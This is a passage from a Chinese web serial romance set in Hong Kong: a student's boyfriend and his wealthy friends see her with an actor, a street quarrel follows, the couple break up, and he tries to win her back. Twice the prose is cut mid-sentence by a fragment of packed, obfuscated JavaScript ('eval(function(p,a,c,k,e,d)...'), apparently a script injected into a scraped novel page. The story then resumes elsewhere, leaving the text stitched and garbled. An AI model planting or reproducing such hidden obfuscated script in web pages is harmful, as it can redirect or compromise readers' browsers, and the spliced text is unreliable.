小初实在没想到他会这么用心,眼底泛起感动,“谢谢你啊Theo余。” 这些资料其实这两天她和梁培风已经陆续找了一些了,只是没有余萧弋帮忙准备的这么齐全。 数学建模大赛本来考察的就是选手解决实际问题的能力,至于数理知识、计算机编程和英文,顶多算是工具,小组成员的知识储备肯定是要很充足才行的。 余萧弋浅笑,显然并不怎么太高兴,“如果这都要谢,那你以后要谢的还有很多。” 小初说:“我请你吃饭吧。” 他睨她,“你以后该不会都用请吃饭来表达一切吧?” “两个人在一起本来就是要吃很多很多次饭啊。”小初笑,并在桌子底下主动勾了勾他的手指。 余萧弋的嘴角立刻不自觉翘了翘,又不经意问她:“你们找到适合写论文的队员了吗?” 小初答:“梁培风还在找,他之前的搭档今年毕业了,这个比赛按理说应该是八九月份的事,今年情况特殊,才推迟了两个多月。” 他们都再清楚不过,MCM/ICM想要获得好成绩,写论文的这个人的水平是重中之重,他首先英文要很好,其次思辨能力和逻辑思维也要强,最重要他还要懂模型设计和推导过程,这样才能清晰有理地阐述他们想要表达的观点,以及解决方案的过程和结论。 余萧弋轻笑:“所以这梁培风到现在等于是除了一个你,其他还什么都没做好准备?你要这么跟我说,我可以合理怀疑他醉翁之意不在酒吗?” 小初咬咬唇:“就算不合理,你也可以怀疑。” 余萧弋被她气笑。 两人没在这个问题上继续纠缠,而是先点了餐,吃了饭。 这家餐厅的牛排很不错,两人都吃得很满足。 这次还没等小初掏钱包,余萧弋就先行结了账,根本没给她表达谢意的机会。 小初说:“你干嘛,说好了我请。” 余萧弋单手抱起纸箱,另一只手将她牵进掌心,又微微收紧。 “不说这个,你能陪我外面走走吗?我有点事情想跟你说。” 小初挑了挑眉,“刚好,我也有事情跟你说。” “是吗?”余萧弋有些意外,“好啊。” 他们回教学中心把资料锁在储物柜里,就漫步到地铁口搭升降机上了山。下午两人都没什么课,刚好有点时间可以浪费。 进入十月,香港的天气比之前凉爽了很多,山上有风,还要更舒服一些。以至于本没打算走到山顶的他们一不小心也走了很远,小初太久没爬山,只觉得心旷神怡,怎么走都走不够。 “好吧,你有什么事要跟我说?”余萧弋递过一瓶水过来,示意她休息一下。 小初想了想:“要不还是你先说。” 余萧弋看了她一眼,很有些小心翼翼:“我有个朋友明天过生日,邀请我去参加Party,我想问问,你愿意跟我一块去吗?” 小初愣了愣。 他马上又加了句:“知道你不太喜欢那种热闹又浮夸的氛围,所以,你不想去也可以的。” “没有不想去。” 两个人想要长久在一起,肯定是要向对方的生活有所倾斜的,这点小初能懂。 “真的?”余萧弋眸色瞬间被点亮,“好像派对定的是复古主题,到时候咱们俩……” “只是。”小初抿抿唇打断他,有些不好意思,“我也正要跟你说,我妈妈明天到香港,我要去接她,然后要陪她吃饭,见朋友什么的,所以这几天我大概是都不能和你见面了。” 余萧弋呆住,反应了一下才意识到她在说什么,“你是说,你妈妈要来香港?她……是来看你的吗?她知道我的存在吗?我要做什么准备?她打算住哪里?喜欢吃什么,要不要我……” “不要啦!”小初踮起脚尖安抚地摸了摸他的头发,“你别紧张,我妈妈是来出差的,食宿都由她们公司负责,你忙你的就好,不用管我这边。” 余萧弋终于意识到什么,问她:“你妈妈是不是还不知道你谈恋爱了?” 小初只能点点头。 他们俩这件事,还早呢。 余萧弋轻笑了一声:“谨慎一点挺好的,说不定,你今天喜欢我,明天就不喜欢了呢,是吧?” 小初压平呼吸,难得的耐心:“你想到哪去了,我只是不想把两个人的事情太早扩大化而已。见家长这件事,总要至少再等三四年,等你从国外毕业回来,等我们各自的事业都稳定下来之后再说吧?” “不见家长,只是像朋友一样和他们分享一下喜悦也不可以吗?我们这边谈恋爱是不需要瞒着父母的,好多人在社交网络上分享自己和另一半的日常,父母还会点点赞。” 小初说:“大陆这边还是保守一点,大多数家长还是希望自己孩子大学期间以学业为主的。我们毕竟还小。” 余萧弋看她一眼:“我不小了小姐,香港的法定结婚年龄男人只需要满18岁。” “真的假的?”小初有些不敢相信,“发达地区不是更应该奉行不婚主义吗?” 余萧弋勾了勾唇:“越说越远了。”又说,“我没有想给你压力的意思啊。” 他只是觉得她根本没有在她的生活和她的未来里给他预留位置而已,不过这句话他没说。他本来也不是这种沉不住气的性格,可一遇上她,就什么都变了,他都快不认识他自己了。 相对于她的冷淡和理智,他感觉自己有时候的炙热和感性就像个笑话,像个自导自演的小丑,喜剧效果没有达到,只剩下滑稽。 小初弯了弯眼睛:“我就知道你是懂我的。” 他笑笑。 两人又慢慢向山顶走去,却再也没有来时候那种说什么都很投机的感觉了。小初努力找了几次话题,见他都兴致寥寥,渐渐自己也觉得没了意思,就没再说话了。 山顶上排队坐缆车的人太多,最后两人还是坐小巴下的山,又在中环乘地铁返回。 一整个晚上,他们都没有互发信息,这还是两人确定关系后的第一次,小初只当他忙,也没太在意,早早就把手机放一边进入了睡眠模式。 不知道是不是秋天来了,她最近总是很渴睡,恨不能睡足十个小时再起床。 第二天下午快三点,小初才出发去机场接黄亦玫。 方太太这几年也没有早些年在工作上的拼劲儿了,至少,她现在完全没办法早起坐飞机,一定要睡饱了才能出门。 因为晚上还要和妈妈一块去见朋友,小初不敢让自己太潦草,特地挑了条比较重工的裙子出来,还给自己画了个跟平常都不太一样的妆。 以至于一出门把Wendy朱都吓了一跳,反应了几秒才朝她挑了挑眉:“又是男朋友约?” 小初没答,只是凑近她看了看她的眼角,小声说了句:“总算看着没那么吓人了。”又问她:“你干嘛去?” Wendy说去上公共课,下了课还要跑回来参加宿舍活动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他回:「我就是想看看你到底多久才会想起我。很好,时间不长,也才十九个小时零四十八分钟二十三秒而已。」 「……」小初的沉默震耳欲聋。 他又问:「见妈妈需要打扮得那么漂亮吗?」 「当然,我妈妈可是仙女,颠倒众生那种。」 说完这句话,她就收起了手机。 到了机场,黄亦玫的飞机还有十五分钟落地,时间刚好。 趁这个空挡,她想也没想,直奔某奢牌专柜帮他挑了条so black的编织手绳,打算明天一见面就帮他绑上,免得他大半夜不睡觉真把自己幽怨得飘起来。 几天不见,黄亦玫的状态肉眼可见更好了,也不知她老公是怎么哄的她。小初叹口气,又有一丝释然,只要他肯为她花心思就好。 她别无所求,只希望她妈妈每天都快乐,一直快乐到两百岁,等她也老了,头发也白了,她还能健健康康地做她的妈妈。 “嗨,方小姐。”黄亦玫黑色复古衬衫搭配同色短裙,整个人柔和美好到不像话,一张脸更是极为立体和紧致,完全看不出是已经四十几岁的人,一出场就吸引了不少路人的目光。 小初笑,心想她要不要干脆大喊一声“妈”,把那些人都吓晕。 不过最后她还是没有那么做,她希望她永远能多闪耀一天。 “黄小姐,旅途辛苦。”小初笑着上前去接过了她手里提着的礼品袋。 她身后还跟着好几个推着行李车的员工,小初朝她们点了点头,算是打过招呼。 黄亦玫揽住小初的肩膀:“走吧。” 小初问:“还没问你要带我见的人是谁呢,这些礼物就是给那个人带的?” 黄亦玫说:“不是前面跟你说了吗?你干妈谢令妤啊,她来香港拍电影,你不记得了?” “哦,对!”小初拍了拍额头,“这段时间真的太忙了。” “我看看。”黄亦玫上下打量了一下她:“好像比前一段回北京气色好了点?怎么,幸福胖吗?” 小初不想进行这个话题,挽住她妈妈的手臂就往外走,一边走一边问道:“你那些员工怎么办?” 黄亦玫说一切都安排好了,他们会带着她的行李先行回酒店。 小初点头。 两人又往前走了一会儿,小初才想起来,“我们怎么去见干妈?打车?” 黄亦玫揽着她的肩膀,眨眨眼:“方总安排车了。” “……” 小初的沉默再次震耳欲聋,她爸这么会安排,怎么也不见给她安排安排? 一个小时后,一位方小姐和一位黄小姐总算乘着方先生给安排的豪车和来自美国的著名华裔导演谢令妤碰上了面。 老友重逢场面总是分外温情。 只是小初没想到,谢大导演还带了个年轻帅哥演员过来,她一开始还有点疑惑,因为她记得她干妈也没和她老公李湛离婚呢啊,怎么还堂而皇之搞起潜规则来了。 直至她跟她说:“小初,我和你妈妈有很多很多话要聊,估计顾不上你,一会儿让这位帅哥带你到处逛逛,有什么喜欢的,你随便买,干妈买单。” 而后她又贴到她耳边来小声说道:“这家伙是资本公司要捧的新人,估计很快就要火了,干妈疼你,先给你玩会儿。” “……” 她倒也,不用这么疼她。 又三个小时后,小初和帅哥被两位女士赶出来到街对面买糖水。 谁承想竟直面撞上了余萧弋。 以及,他的一大群朋友。 小初就知道,资本的人是不能随便玩的。 31.第 31 章 余萧弋隔着往来人群叫她名字的时候,方太初正跟帅哥男演员坐在糖水店门口等老板打包,并有一搭没一搭聊着天。 男演员叫陈槐东,跟她一样来自内地,只是签约了香港这边的经纪公司,才有机会接触到港圈的一些影视资源。 不过据他自己说,这次能出演谢令妤的男一号,还真跟他经纪公司无关,是他自己试镜来的。 对此小初倒无所谓,她比较好奇的是:“演员试镜都试什么?” 陈槐东没答她,反用粤语朝店内的服务员喊了句,“你好,刚刚要你先做的那份冻香芋椰汁西米芋圆好了吗?” 服务员应声,没一会儿就把那份甜品端了出来。 陈槐东接过来递给小初,“你尝尝,这边的糖水好像甜味和奶味都要浓一些。” 小初舀了口芋圆放在嘴里,点了点头,“确实不错,很绵密。” 陈槐东浓眉,高鼻,单眼皮,帅肯定是帅的,但帅得和眼下的主流审美又有些偏差,不像别的男明星那么唇红齿白,精致得跟AI建模似的,反而更像一个邻家大哥哥,笑起来的样子甚至有点淳朴。 “演员试镜一般就是按照试戏剧本以自己的理解演绎一遍,不过在那之前简历和照片肯定是要先经过选角导演筛选的。这事儿没法说,尤其像谢导这种级别的大导,手里不定已经收到多少内推的艺人资料了,最后到底用谁不用谁,都是各种博弈和衡量。不过,机会是给有准备的人是肯定没错的。” 小初认同地点点头。 陈槐东不知怎么有些脸红,然后才说:“你知道谢导这次要拍的是一部限制级悬疑爱情片吧?” 小初想了想,“不会是尺度很大的那种吧?” “嗯,就是的。”陈槐东倚在高脚椅上,一双长腿无处安放地向前倾斜着,笑笑,“所以,这次谢导选择我,还有一个很重要的原因就是我脸生,她要的就是我身上有点土的这种感觉,因为和我对戏的那个女主演员,是个影后,她需要这种碰撞。” “是嘛!”小初又大大吃了口甜品,有些遗憾,“你早说我就管干妈要一份剧本概要瞄瞄了,听着剧情很有张力啊。” 陈槐东说:“简单说就是二十岁年轻男孩和四十岁年上女人婚外情又一起杀掉她丈夫的故事。具体这男孩和女人之间有没有爱情,他又是不是女人杀夫事件中被设计好的一枚棋子,以及这段不伦恋结局到底怎么样,就只有导演和编剧知道了,因为我只能看到我那部分的剧本。” 小初有些讶然:“你是说,你只有二十岁?” 林槐东没想到她的关注点在这,无声而笑,“不像吗?” “我还以为你已经二十七八了。” “他们都说我长得比较着急。”林槐东大笑,露出两排洁白的牙齿,“骗你的,我二十四了,不过,配合一下妆造,演个二十岁,应该不成问题。” 小初也笑,“到时候我去探班。” 林槐东摆手:“建议你别来,因为都是大尺度床戏,估计你们外行看了,挺不堪入目的。” 店里伙计出来把打包的甜品交给他们。 小初站起身,和他并肩往回走,一边吃着甜品,一边说着,“所以你们这部戏讲的就是人性和欲望的投射呗?” 很好,这很谢令妤,估计拍出来会很文艺,很情色,很勾人。 “差不多。” “陈槐东,你要大火了。”小初大笑,“回头你火了记得给我签名啊。” “借你吉言。” 小初就是这个时候听见人群里有人喊她,“方太初”的。 而且那声音还听起来特别耳熟,有种蕴含着薄怒的压抑感。 她倏地转身过去,然后就撞进了余萧弋似已极度痛苦和失望的眸子里,她吓一跳,完全没想到随便在街上也会碰到他,这香港还真是小,难怪他们这边的明星出门买个菜都会被狗仔拍到,这确实躲不开啊。 陈槐东抬眸过去看了眼余萧弋以及他身边的朋友们,有些意外,“你们认识?” 这群人虽然扮相比较夸张,但肯定不是他的演员同行。因为任谁都不难看出他们身上贵不可言的气质,几个女孩子手上的包包甚至是收藏级别的中古款,显然是一群富二代闲着没事出来玩cosplay的,女的cos温碧霞,袁洁莹,男的cos白色古天乐,罗嘉良和温兆伦。 小初扁扁嘴:“嗯,我男朋友,完了我死定了,他肯定误会了。” 陈槐东说:“所以,我是留在这陪你,还是先回去?” “你……” 小初还没说完,余萧弋已到面前。他今天穿了身白色复古西装,头发用发胶向后固定着,像个上世纪留洋归来的大少爷,虽然温文尔雅,但也有种说不出的浮夸感。 “你们派对怎么开到街上来了?”小初实在没忍住,笑出来,然后又和这群人里几个之前在绮丽见过面的摆了摆手,“嗨,你们今天看着都好靓晒。” 所有人都目光冷冷地看着她,像看一个背叛者,没有回应。 铭仔过来拍拍余萧弋的肩膀,用粤语说了句,“兄弟,我之前提醒过你的了,她们这群人都是到处捞的,怎么会把宝押在你一个人身上?也她算聪明,知道你们家是不会答应你娶她的。” 余萧弋甩开他搭在肩膀上的手,神情冰冷,“乱说什么!” 铭仔嘟囔:“我就是看不惯你被人耍嘛!” 小初没听懂铭仔的话,陈槐东却听懂了,虽然相识时间短,但他又怎么会看不出这位方小姐和其他的富家女一点不一样?至少,她对他可完全没有那种高高在上玩弄戏子的态度。 这份尊重,难能可贵。 于是他向前半步挡住小初,小声问她,“我们要不要先回去?谢导和黄总还在等呢,一会儿甜品口感都不好了。” 小初怎么敢走,她觉得她要是走了,这误会才是永远解不开了,她刚想说什么,余萧弋那群朋友却忍不住了,直接上来推搡了陈槐东一下,极为嚣张:“喂,你做咩野,这里有你咩事啊?” 陈槐东措手不及,一个没站稳,手里的袋子就掉在了地上,甜品盒子被乱七八糟摔开,汤汤水水洒了一地,芋圆和红豆糕滚得到处都是。 事态一下子急转直下。 这个路段本就是繁华街区,路上都是游客和市民,好多路人不明所以,还以为自己运气好碰到了剧组拍戏,纷纷停住脚步观望了起来,有两个说普通话的,一边看还一边讨论,“这什么剧组,拍什么戏呢?” “应该是短剧吧,没看他们穿得都很夸张吗?” “就是短剧,这剧情我太熟了,看起来是这男主误会女主和男二在一起了,正吃醋呢。” “你这么说还真像,只是我怎么没看见摄像机呢?” “是不是用手机拍的?现在好多小剧组都穷得很,哪有那么多高级设备。” “也可能是哪个网红在拍段子。” “那肯定也是个大网红,你看这男女主,长得多好看,不输一般明星。” “确实。” 现场瞬间陷入了混乱。 余萧弋也没想到事情会发展成这样,心下已经慌到不行,呵斥他那几个冒失的朋友一声,并让他们赶紧先行回酒店派对现场去,别在这添乱了。 小初脑子里正嗡嗡响,根本也听不见其他的声音了,只呆呆看着脚下的芋圆,半晌才轻笑一声抬起头来,只是这一次,她眼睛里再没有了之前的讨好和温柔。 “Theo余,你什么意思啊,你纵容你朋友欺负我是吧?” 余萧弋向前一步,想拉她的手,“对不起,我本意不是这样的。” 却被小初侧身躲开,“我管你本意是什么?你这群朋友对我出言不逊也不是一次了,没有你的默许,他们敢这样吗?说明你们根本就是一丘之貉,你也不是什么好东西。赶紧,现在就从我面前滚,不要让我再看见你。” 余萧弋愣住,眼底瞬间变得通红,难以置信看向她:“方太初你这么理直气壮吗?我派对开到街上来那是因为有人做游戏赢了所有人,惩罚大家游街一圈,你呢,这就是你那颠倒众生的妈妈吗?”他冷冷看了眼一旁的陈槐东。 小初气急,根本懒得搭理他,“跟你有关系吗?” 他弯下腰,任两人的气息交织,明明是轻笑着,却不知有什么从眼角滑了下来:“没关系吗?” 小初退后一步,不去看他的眼睛,神情极为坚毅:“就算之前有,现在也没有了,以后更不会有。余同学,我们分手了。” 余萧弋呆立在原地。 小初转头,将手里没吃完的芋圆西米露递给陈槐东,“你拿一下,我去管老板要一下工具,把这里打扫一下。” 人群已看出这不是什么短剧拍摄现场了,顶多也就一对小情侣吵架,很快意兴阑珊,渐渐散开。 陈槐东说:“你别管我来吧。” 说着就往店内去了。 小初往旁边站了站,想了想,还是将包里下午在机场买给他的那根手绳找了出来,在余萧弋面前一晃,气到极致反而无比平静,“这个本来是送给你的,不过我想现在也不需要了。这么廉价的东西……”她笑着看了看他身后那群珠光宝气的朋友,“也配不上你。” 说完,她就毫不犹豫将那个小盒子扔进了一旁的垃圾桶里,并俯身把地上的一堆乱七八糟的打包盒也一并捡了扔进去,还没忘接过陈槐东手里的工具把那些汤汤水水花生西米芋圆的都扫了扫倒在上面,做完这一切,她才拍了拍手,朝陈槐东灿笑道:“走吧,我们换一家。” 陈槐东点头。 两人大步走开,只剩余萧弋和他的一群朋友还目瞪口呆看着她的背影。 铭仔凑过来看了看泪流满面的余萧弋,也有点不知所措,“不是吧,大佬,真哭了?不至于吧,就一个长得好看一点的女仔而已。” 爱马仕姐也来劝:“是啊Theo,别难过了,改天我介绍个更好的给你。你也别怪大家刚才那么激动,我们都从小一起长大的,谁不知道你纯的像一张白纸一样,你说我们能眼睁睁看着你被人这么侮辱吗?方小姐实在过分,她也不想想这是什么地方,竟敢在太岁头上动土。” 另一个朋友也说:“我们也没误会她吧?刚刚我们可是看了他们好久才过去的,她和那男的状态那么松弛在一块有说有笑的,肯定早就认识了,只是你一直不知道。” “就是,我长这么大就没见过这么嚣张的穷人,做了亏心事竟然一点不内疚的,还敢指着你的鼻子骂,不是,她是不是不知道你是谁啊?” “没给她花过钱?” “一定是,傻仔,你觉得你跟人家搞的是纯爱,殊不知人家在你这看不见好处就走了。不过也好,这种人注定也长久不了的,索性长痛不如短痛。” 余萧弋仍旧定定看着小初和陈槐东离去的方向,尽管那里已被车水马路挡住,他的世界已一片纷乱,他什么都听不清也看不见了。 “Leave me alone。”他几乎是从牙缝里挤出的这句话。 “什么?” 他的朋友没太听清。 “我说,Leave me alone。” 他的声音很低,没有任何失控的愤怒,却有种不容置疑的压迫感,他的朋友自小以他马首是瞻,自是知道他什么脾气,看来这次,他是真栽了。 大家互相交换了一个只可意会的眼神,没再说话,一分钟之内就消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢令妤说:“你吓死我,我还以为你真看上他。” 黄亦玫嗔谢令妤,“怎么跟孩子也没大没小的。” 小初奇怪:“不是你说让我先……”那个“玩”字被她紧急咽回口中,“当认识个朋友吗,我还以为你介绍男朋友给我呢。” 谢令妤喝了一口杨枝甘露,“小傻瓜,干妈就是知道你看不上他,也知道你们家不会同意你找娱乐圈的对象才带他出来给你见识一下男人多样性好不好?你爸妈就你这么一个掌上明珠,到时候可别稀里糊涂就被坏男人骗走了。你看刚才那家伙纯情吧,朴实吧?其实内里很多东西很复杂的,我选他当男主,承受了很大压力。” 小初差点被一口水呛到,“谢导,您不是该以作品质量为第一考虑吗?” 谢令妤挑了挑眉,“刚好,他的专业性也符合我的标准啊,很多东西缺一不可的。那家伙……”谢令妤瞟了黄亦玫一眼,收敛了一下措辞,“文戏武戏都不错,张力更是满格,到时候有空你来探班,干妈给你现场教学一下。” 小初倏地红了脸,“教,教学什么东西?” 黄亦玫也说:“越说越离谱,不许说了。” 谢令妤大笑,“教学谈恋爱啊教学什么,我拍的是纯爱好吧,就是那种又色,又纯,又文艺,又各种纠结背德失控的感觉,懂吧?” 黄亦玫做了个打住的动作,问小初:“我和干妈打算今晚一块住聊聊天,在隔壁给你开了间房间,你只好自己住了哦。” 小初有些无语,“既然如此我回学校住多好呢,还能省一晚上的酒店钱。” 黄亦玫笑:“你明天上午不是没课吗?你爸说了,让你跟我去馆里拆纸箱布展,锻炼一下。” 小初垂下嘴角,摊了摊手,看向谢令妤,“谢导您看见我这对狠心的爸妈了吧?还什么掌上明珠,我就一长工,您干脆把陈槐东微信推给我,我要跟他谈上,让他们俩为我操心一辈子。” 谢令妤和黄亦玫都大笑。 好容易挨到了上楼休息的环节。 一到房间,小初就脱力了一样瘫在了床上,眼泪无声无息地流了下来。 她也没想到,她的初恋,竟然就这么潦草结束了。 余萧弋刚刚在她面前哭泣的样子太破碎,她实在没忍住心疼。 既然他如此爱她,为什么对她一点信任都没有呢?她在她心里到底是什么人啊,随便碰见个谁都可以轻易将他替代? 想起他那群朋友眼中的嫌弃和误解,她越哭越委屈,又怕隔壁的黄亦玫和谢令妤听见,干脆进卫生间打开花洒,哭了个痛快。 等她出来,才看见手机里来自余萧弋的好几通未接来电。 微信也多了几条留言。 她向来不是个言而无信的人,说分手就是分手,她可没那么多时间和他相互拉扯试探。 正要将他拉黑,却看见他最后一条消息赫然是:「方太初,我在你酒店大堂等你,如果半个小时你不出现,我会上去敲门,4024房间,没错吧?」 小初眼皮猛地一跳,嘴唇瞬间抿紧,回他:「你怎么知道?」 「忘了跟你说,这家酒店也是Rebecca名下的。」 小初说:「好,你等着,我现在就打电话投诉你们余家的酒店泄露客户隐私。明天我就让它登到全港报纸的头版头条上。」 「可以,这是你的权利。不过,这些都不会影响还有七分钟,我会上楼。」 他似乎铁了心。 小初咬咬牙。 32.第 32 章 小初生怕黄亦玫和谢令妤听见她下楼的声音,连关门都关得很轻,并特意在门外挂上了防打扰的牌子。 然后,乘电梯直奔酒店大堂。 出门前,她还没忘记给自己补个妆,将刚刚哭过的痕迹全部遮住。她才不要把自己脆弱展现给他看,上演什么眼底泛红,泪失禁,欲拒还迎求心疼的戏码,二十一世纪都快过去三分之一了,已经不是人类没了爱情就活不下去的时代了。 电梯门一开,她就看见了等在门口的他,头发和领带都有些凌乱,但是更该死,因为这样的他比前面那个浮夸的他显然更好看了。 他看见她就说:“方太初,我们谈谈。” 小初目光冷冷滑过远处前台工作人员的脸,很想去问问到底是哪个人把她的住宿信息透露出去的,但是转念一想打工人也有她们的苦衷,只能忍下。 千错万错,都是他余萧弋的错。 “谈什么?”为了避免谢令妤和黄亦玫不知什么原因刚好下楼撞上这一切,小初干脆带着他往酒店外走去,酒店大堂休息区喝东西聊天的人太多,实在不适合她和他这种准备大吵一架的分手情侣。 现在已经夜里十点多,整个城市却仍陷在一片浮华幻影中,霓虹闪烁,车马喧嚣,各种肤色和面孔的游人如织,海风吹过来,夜微凉。 小初找了个灯光稍暗的地方停下来,“说吧,说完赶紧走,以后也别再来找我。” 余萧弋清了清嗓子,像是下定了某种决心,“所以和你一起的那两个,Ms Huang和Ms Xie,哪个是你妈妈?” 小初忽地抬起眸,冷笑一声,“无耻。” “对不起。” 小初毫不客气地嘲讽道:“道什么歉啊,你没顺手查查我房间有没有男人吗?” 余萧弋说:“我知道你不会。” “现在说这句话晚了。” “我承认我当时确实被某种情绪冲昏了头了,主要是你说好去见妈妈,结果却和一个那么帅的男人一块出现在热闹的街头,一边吃甜品一边轻松聊天吹海风,你觉得作为男朋友的我有些误会,很奇怪吗?”余萧弋循循善诱着,但他也很清楚,她才不吃他这一套。 果然,下一秒,就听她笑了笑:“余萧弋,你想听我自证。可是抱歉,我很小的时候我爸就教过我了,永远不要和任何人自证,你既然对你眼睛看到的东西已经有了判断,那就坚持你自己,这没有错,但你不要试图说服我接受你的逻辑。” 她说话的语速很快,条理非常清晰,余萧弋听着听着,不知怎么又生出三分爱慕来,接着就是更汹涌的痛苦,他不敢相信他就这样把她弄丢了。 小初又说:“就算我真做错了,就是你纵容你朋友侮辱我的理由嘛?你是不是当我听不懂粤语?我法语和韩语都能学会一点,你们一个带口音的方言,你觉得对我有加密效果吗?就算听不懂全部,根据语境还猜不出来意思吗?余萧弋,你忘了,我是个解题高手。” 余萧弋颓然地叹了口气,是啊,她不仅是个解题高手,还有颗钢筋水泥做的心脏呢,对于感情更是收放自如,爱或不爱,只在她一念之间,不像他一想到再也不能拥抱她,就痛到没法呼吸了。 小初最后看他一眼,狠下心,对他,也是对自己,“你不尊重我,我就不可能再和你在一起,就是这么简单,至于其他的,我没什么可解释的,就这样,你要没什么事,我就回去了。” 余萧弋低哑开口,嗓子已经痛到像是借别人的,“等下,我还没说完。” 小初顿住,无可无不可地看了他一眼,毕竟相处一场,结束的对白还是要给机会让人家说完的,一次性说完,免得后面反复纠缠。 “方太初,你不会痛苦吗?一段感情就这么遗憾结束了?你知不知道我跟你在一起后就一直很没有安全感?因为你总是很冷淡很冷淡,心里根本没有给我留位置,对我就像观察一个实验室的样本,一旦有任何地方不符合你的预期,就立刻要替换掉,你都没有感情的需要吗?寂寞的时候,难过的时候,都没想过身边可以有人陪陪你,让你把坏情绪暂时安放一下吗?” 小初坦诚道:“我当然也会痛苦,也会寂寞,也会有难过的时候。当然,你说得很对,可惜我是个学数学的,向来以结果论,实验样本已经不符合预期了,我还要浪费时间写本错误指南留给后人吗?” 余萧弋抿了抿唇:“你忘了我也是学数学的,我觉得调整变量让模型无线趋近自己想要的那个结果更重要。我说过,如果以结果论,大多数数学家的一生都是毫无意义的,难道真是这样吗?那个追求真理的过程,不也是另一种意义吗?方太初,和你在一起,对我就是很有意义的一件事,我不想轻易就结束它。” 小初心跳漏了一拍,视线不自觉看向他,“我说了,你不要试图说服我接受你的逻辑。对我而言,安放我的感情不会解决我任何问题,一个不带给我问题的伴侣,才能让我安放我的感情。” “可你知道这世上并不存在这样的人,除了你自己,没有人不需要解释就能完全懂你在想什么。包括你父母,就算他们很相爱,你觉得他们彼此间又真正懂对方多少?” 他真是个可怕的人。 小初想。 她觉得她不能再听下去了,否则一定会被他蛊惑到偏离轨道。 “我得走了。” 余萧弋拉住她,“我给你道歉。” 他手腕上的爱马仕手绳映入眼帘,小初睫毛骤然一颤,眼泪开始汹涌,她没办法想象他俯身从肮脏的垃圾桶里将它翻出来的画面。 幸而这里光线比较暗,不至于让她暴露了自己的情绪。 他这又是何必呢? 都说了分手了,就洒脱一点不好吗? 凭他,也不怕没人来爱。 比她更优秀,更漂亮,家世更好的名门闺秀大有人在,想必哪一个都比她更好相处,更懂得体贴和包容。 “不必。” 他又说:“我让我那些朋友跟你道歉。” 小初努力忍下喉间的酸涩,“更不必。”她尽量让自己的声音听起来没有任何感情起伏,“余萧弋,人在街上被狗咬了,最合理的处理方法是赶紧去医院打疫苗,而不是停下来跟狗纠缠。” 余萧弋都不知道自己为什么会在这会儿笑出来,“你说得对。” 小初瞪他一眼。 他拉着她的手腕不放。 “两个选择,一个是跟我去见见我的那些朋友,我让他们给你道歉,无论你接受不接受。并且我保证,以后他们都不会再对你出言不逊。另一个,就是我们就这样手拉手上楼去,敲开你隔壁房间的门,向两位女士郑重介绍一下我们两个的关系。” “余萧弋,你怎么越来越无耻了?” 他笑:“不仅无耻,还快失去自我了。刚还在街上被人当成疯子,幸亏余家每年支付那么多钱保护我们小辈人的隐私,不然我这副德行,就要被放大刊登到街头小报上去了。” 小初说:“好啊,刚好予你家族荣光。” 余萧弋贴近她:“方太初啊方太初,我要拿你怎么办才好。” 小初不吭声。 “所以你选1还是2?” “我选择就地把你打死。” “走吧。”他从扣着她手腕的动作换成和她十指相扣。 小初挣了挣,没挣脱,顿时有些无语,“Theo余,我们已经分手了,你这样合适吗?” “谁说的,分手是两个人的事,我又没说我同意,你一个人决定不了。” 小初说:“你同不同意,都不影响我的决定。” 余萧弋不接茬,只说:“走吧,派对还没结束,跟我过去坐坐,我不能任别人误解你。” 小初说:“我无所谓,都是一群不重要的人。看在你面子上的假装尊重,只会让我更看不起他们,人连捍卫自己观点的勇气都没有,还活着干什么。” 余萧弋说:“好,我私下跟他们说。” 小初不想跟他在这僵持下去,问他:“是不是我跟你过去坐坐,给足你面子,让你朋友觉得你没有被女朋友甩,咱俩这事儿就算过了?” 余萧弋也不知道她是怎么得出这个结论的。 但他不想和她分开,只能尽量延迟着时间。 “走吧,你朋友他们在哪呢。” 余萧弋指了指对面,“就在那个酒店。” 小初看了看酒店的招牌,轻笑一声,“好大的手笔。”又问他,“你是怎么过来的?” “走路呗。”余萧弋垂下嘴角,“我眼睁睁看着你和那个人过的马路,买了吃的,进的这家酒店,我还以为……” 小初红了脸,用力掐了一下他的手,“龌龊。”又实在愤恨,口不择言地说道:“我连你都不想睡,我会想睡他?” 余萧弋若有似无地笑了一声,俯下身直直看向她眼底,“你让我理清一下这逻辑啊,你连我都不想睡,怎么听起来我才是那个唯一选择似的?” 小初迈步就走,根本不搭理他。 却忘了两个人还牵着手,她在前面走,他亦步亦趋。 “所以,你也觉得我会更好睡?” 小初越走越快。 “要不,你今晚试试我?明明还是喜欢的,不睡一下就分手,你甘心吗?” 小初终于忍无可忍,骂他:“余萧弋你给我闭嘴。” 今天过生日的主角叫杨敏中,英文名Marissa,家里做船舶生意的,又是家里最小的女儿,向来受宠一些,这次过生日更是包下了整个酒店,提前好久就从世界各地空运鲜花过来布置现场,为了贴合这次的复古主题,她的几套礼服都是某奢牌高定款,珠宝更是维多利亚时代古董级别。 晚宴的来宾更是星光熠熠,有头有脸的明星名流几乎都现身捧了场。现在晚宴结束,留下来参加After Party的,就都是她自己比较私密的同龄朋友了。 小初和余萧弋到的时候,一群人正在舞池里跳舞,铭仔第一个发现他们的身影,惊讶得眼睛差点掉出来。 音乐仍在继续。 尽管现场的人都挺珠光宝气姿容出众的,但小初还是一眼看见了那个被众星捧月的女主角,浑身都散发着让人无法忽视的光芒。 甜美,优雅,又不乏精英感。 小初由衷地说:“杨小姐真漂亮。” 余萧弋不置可否,只是拿了两杯酒过来,其中一杯递给她,“尝尝,这个调酒师很厉害的,帮你拿了杯口感好酒精度低的。” 小初说:“我不能喝,喝了会被我妈妈看出来。我明天还要去帮她干活。” 余萧弋意外,“干什么活?” “体力活。” “所以,今天那个男的,是你妈妈的……员工?”余萧弋喝口酒,不经意问道。 小初睨他一眼:“跟你有什么关系。” 音乐不知不觉停了下来,所有人都很兴奋。 